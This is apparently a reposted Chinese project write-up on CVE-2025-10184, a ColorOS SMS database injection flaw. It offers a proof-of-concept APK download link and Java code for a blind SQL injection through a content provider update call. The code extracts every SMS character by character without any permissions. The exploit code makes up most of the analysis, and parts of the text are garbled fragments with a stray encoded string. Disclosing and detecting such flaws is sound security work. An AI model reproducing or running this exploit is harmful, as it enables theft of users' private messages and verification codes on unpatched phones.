
本项目揭示了存在于 OPPO及其子品牌(一加、realme) 的 ColorOS 系统中的高危短信数据库注入漏洞 (CVE-2025-10184)。该漏洞允许任意应用在 无需任何权限、无需用户交互 的情况下,通过数据库注入攻击读取设备上的所有短信内容,严重威胁用户隐私安全。此仓库不仅提供了漏洞的详细分析,还包含一个用于演示和验证漏洞的概念验证(PoC)应用及核心代码解析。
1=1 AND)、触发机制及其根本原因。15.0.0.860Patch01)及手动更新方法。本项目包含两部分:漏洞验证应用 和 核心代码分析。
对于普通用户,可以使用预编译的APK文件快速检测设备是否存在漏洞。
https://yuuou.lanzout.com/iiQE337s6dha)下载测试应用 yuu_v3.6.apk。如需编译或分析源码,请确保您的开发环境满足以下条件:
jsqlparser 库用于SQL语法解析。请确保在 build.gradle 文件中包含以下依赖:dependencies {
implementation 'net.sf.jsqlparser:jsqlparser:4.7' // 或更高版本
// ... 其他依赖
}该项目主要包含一个 MainActivity,它通过经典的“盲注”(Blind SQL Injection)手法,一步步将数据库中的数据导出到屏幕上。
triggerSqliBtn)按钮。queryLogTxt)中。由于系统Content Provider不会直接返回查询的数据集,而是返回受影响的行数或在特定条件下抛出异常,因此工具采用了二分法盲注技术逐字符提取数据。
QueryParser.java)QueryParser 类负责解析用户输入的原始 SELECT 语句,并将其改写成适合盲注的形式。
// QueryParser.java 核心片段 - 解析并改写 SELECT 为单列拼接
public class QueryParser {
// ... 使用 JSQLParser 解析 SQL
public String buildInjectionQuery(String originalQuery) {
// 1. 解析原始 SELECT 语句
Select select = (Select) CCJSqlParserUtil.parse(originalQuery);
PlainSelect plainSelect = (PlainSelect) select.getSelectBody();
// 2. 获取原始查询的字段列表,如果没有指定(如 SELECT *),则从 sqlite_master 反解析表结构获取字段
// ... (省略获取列的复杂逻辑) ...
// 3. 关键步骤:将多列查询改写为单列拼接查询
// 例如将 "SELECT address, body FROM sms" 改写为
// "SELECT address || '!!' || body AS combined_row FROM sms"
// 这样每一行数据都变成了一个长字符串,各列用 "!!" 分隔
List<String> columnNames = getColumnList(plainSelect);
StringBuilder combinedColumns = new StringBuilder();
for (int i = 0; i < columnNames.size(); i++) {
if (i > 0) {
combinedColumns.append(" || '").append(ROW_CONCAT_DELIM).append("' || ");
}
combinedColumns.append(columnNames.get(i));
}
// 构造新的内部查询
String innerQuery = "SELECT " + combinedColumns.toString() + " AS combined_row FROM (" + originalQuery + ")";
return innerQuery;
}
}MainActivity - 核心逻辑)MainActivity 包含了通过 ContentResolver 执行注入和二分法提取数据的完整逻辑。
// MainActivity 核心片段 - 二分法盲注提取单行数据
// 假设已通过 COUNT(*) 确定了总行数,现在要提取第 N 行 (OFFSET N-1)
private void extractRowByBinarySearch(Uri uri, String baseWhere, int rowIndex) {
String targetRowQuery = originalQuery + " LIMIT 1 OFFSET " + rowIndex; // 定位到特定行
String combinedRowQuery = "SELECT combined_row FROM (" + targetRowQuery + ")"; // 使用改写后的查询获取拼接串
StringBuilder rowStringBuilder = new StringBuilder();
// 对每个字符的位置进行循环
for (int pos = 1; ; pos++) {
int low = 0x20; // 空格
int high = 0x7E; // 可打印字符范围 '~'
// 二分查找字符的 ASCII 码
while (low < high) {
int mid = (low + high) / 2;
// 构造 WHERE 子句,判断当前字符的 ASCII 码是否在 [low, mid] 区间
// 例如: WHERE unicode(substr(combined_row, pos, 1)) BETWEEN low AND mid
String whereClause = String.format(Locale.US,
"unicode(substr((%s), %d, 1)) BETWEEN %d AND %d",
combinedRowQuery, pos, low, mid
);
ContentValues values = new ContentValues();
values.put("data1", "dummy"); // 触发更新的数据
try {
// 核心注入点:执行 UPDATE 操作,通过 WHERE 子句进行 SQL 注入判断
// 如果条件为真,则会更新某行(或约束异常返回 >0),否则返回 0
int count = getContentResolver().update(uri, values, "1=1 AND (" + whereClause + ")", null);
if (count > 0) {
high = mid; // 字符在当前区间内,缩小范围
} else {
low = mid + 1; // 字符不在当前区间,提高下限
}
} catch (Exception e) {
// 某些情况下,数据库可能通过约束异常来返回“真”的结果,需要根据实际情况调整
Log.d(TAG, "Update exception, treat as 'true' condition", e);
high = mid;
}
}
char currentChar = (char) low;
if (currentChar == '\0') { // 假设字符串结束符
break;
}
rowStringBuilder.append(currentChar);
}
// 得到一个完整的行字符串,例如 "1234567890!!这是短信内容"
String fullRow = rowStringBuilder.toString();
// 按 "!!" 分隔,还原成各列
String[] columns = fullRow.split(ROW_CONCAT_DELIM, -1);
// ... 将 columns 记录到 UI 或日志中
}
```FINISHED6HFtX5dABrKlqXeO5PUv/y7Qop7lbYYKGD10fyA+KyQ2qlyHLVnXNDBEZ+UO+7nt
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。